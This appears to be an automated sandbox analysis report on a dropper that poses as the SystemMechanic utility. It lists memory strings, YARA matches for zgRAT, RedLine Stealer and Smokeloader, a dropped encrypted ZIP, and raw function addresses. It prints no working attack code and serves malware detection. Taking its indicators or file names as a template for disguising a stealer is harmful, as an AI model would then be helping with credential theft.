Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&l
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&m
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&o
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&r
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&s
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&v
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/itfoundry/Poppins)&&&&z
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/ApplicationInsights-dotnet/issues/2560
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://indiantypefoundry.com
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iolo.azure-api.net/ent/v1
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iolo.comH42652B74-0AD8-4B60-B8FD-69ED38F7666B
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.azure.com//.default
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.monitor.azure.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.monitor.azure.com/l
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rt.services.visualstudio.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://rt.services.visualstudio.com/l
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4140852797.0000028F3DC15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scripts.ON1
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4100814362.0000028F235D5000.00000004.00000020.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scripts.sil.org/OFL
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://scripts.sil.org/OFLThis
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scripts.sil.org/OFLX8
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://scripts.sil.org/OFLhttps://indiantypefoundry.comNinad
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snapshot.monitor.azure.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snapshot.monitor.azure.com/&
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.iolo.com/support/solutions/articles/44001781185
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.iolo.com/support/solutions/articles/44001781185?
Source: u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, u5e0.0.exe, 00000001.00000003.1756244413.000000002470D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, u5e0.0.exe, 00000001.00000003.1756244413.000000002470D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://taskscheduler.codeplex.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://taskscheduler.codeplex.com/H
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webhooklistenersfunc.azurewebsites.net/api/lookup/constella-dark-web-alerts
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F25641000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F255E3000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F2591F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com/;LiveEndpoint=https://westus2.livediagnostics.mon
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://westus2-2.in.applicationinsights.azure.com/v2/track
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://westus2.livediagnostics.monitor.azure.com/
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iolo.com/company/legal/eula/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.iolo.com/company/legal/eula/?
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iolo.com/company/legal/privacy/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.iolo.com/company/legal/privacy/?
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iolo.com/company/legal/sales-policy/
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.iolo.com/company/legal/sales-policy/?
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Code function: 2_2_0100D120 GetClientRect,GetDC,CreateCompatibleBitmap,CreateCompatibleDC,std::_Xinvalid_argument,AlphaBlend,AlphaBlend,BitBlt,

2_2_0100D120

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000001.00000002.2121192347.00000000041DC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Drops password protected ZIP file

Source: u5e0.1.0.dr	Zip Entry: encrypted
Source: u5e0.1.0.dr	Zip Entry: encrypted
Source: u5e0.1.0.dr	Zip Entry: encrypted
Source: u5e0.1.0.dr	Zip Entry: encrypted
Source: u5e0.1.0.dr	Zip Entry: encrypted

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6BF9F280
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFFB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6BFFB910
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFFB8C0 rand_s,NtQueryVirtualMemory,	1_2_6BFFB8C0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFFB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6BFFB700
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFBED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	1_2_6BFBED10

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0042667D	0_2_0042667D
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0041C0F9	0_2_0041C0F9
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040C081	0_2_0040C081
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040C33C	0_2_0040C33C
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040F4D1	0_2_0040F4D1
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00412530	0_2_00412530
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0042861E	0_2_0042861E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_004216CC	0_2_004216CC
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040C740	0_2_0040C740
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_004087FA	0_2_004087FA
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040B79E	0_2_0040B79E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_004289DB	0_2_004289DB
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0041B9DB	0_2_0041B9DB
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_004279A8	0_2_004279A8
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040BB10	0_2_0040BB10
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040BDBA	0_2_0040BDBA
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00427FB7	0_2_00427FB7
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0C2E8	0_2_02E0C2E8
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E2821E	0_2_02E2821E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0C021	0_2_02E0C021
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E12797	0_2_02E12797
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0F738	0_2_02E0F738
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0C5A3	0_2_02E0C5A3
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E08A61	0_2_02E08A61
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0BA05	0_2_02E0BA05
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E28885	0_2_02E28885
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0C9A7	0_2_02E0C9A7
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E1BC42	0_2_02E1BC42
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0BD77	0_2_02E0BD77
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF935A0	1_2_6BF935A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C00AC00	1_2_6C00AC00
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C00542B	1_2_6C00542B
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C00545C	1_2_6C00545C
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9F380	1_2_6BF9F380
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFAC370	1_2_6BFAC370
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF95340	1_2_6BF95340
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFDD320	1_2_6BFDD320
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFB1AF0	1_2_6BFB1AF0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFDE2F0	1_2_6BFDE2F0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD8AC0	1_2_6BFD8AC0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFACAB0	1_2_6BFACAB0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF922A0	1_2_6BF922A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFC4AA0	1_2_6BFC4AA0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD9A60	1_2_6BFD9A60
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFCD9B0	1_2_6BFCD9B0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9C9A0	1_2_6BF9C9A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C006E63	1_2_6C006E63
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD5190	1_2_6BFD5190
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFF2990	1_2_6BFF2990
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFEB970	1_2_6BFEB970
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFAD960	1_2_6BFAD960
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFBA940	1_2_6BFBA940
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0076E3	1_2_6C0076E3
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFBC0E0	1_2_6BFBC0E0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD58E0	1_2_6BFD58E0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFC60A0	1_2_6BFC60A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFDF070	1_2_6BFDF070
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFB8850	1_2_6BFB8850
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFBD850	1_2_6BFBD850
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFDB820	1_2_6BFDB820
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFE4820	1_2_6BFE4820
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFA7810	1_2_6BFA7810
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFC6FF0	1_2_6BFC6FF0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9DFE0	1_2_6BF9DFE0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFE77A0	1_2_6BFE77A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0050C7	1_2_6C0050C7
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD7710	1_2_6BFD7710
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFA9F00	1_2_6BFA9F00
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9BEF0	1_2_6BF9BEF0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFAFEF0	1_2_6BFAFEF0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFF4EA0	1_2_6BFF4EA0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFB5E90	1_2_6BFB5E90
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C00B170	1_2_6C00B170
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFFE680	1_2_6BFFE680
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9C670	1_2_6BF9C670
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFB9E50	1_2_6BFB9E50
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD3E50	1_2_6BFD3E50
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFE2E4E	1_2_6BFE2E4E
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFB4640	1_2_6BFB4640
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFF9E30	1_2_6BFF9E30
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD7E10	1_2_6BFD7E10
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFE5600	1_2_6BFE5600
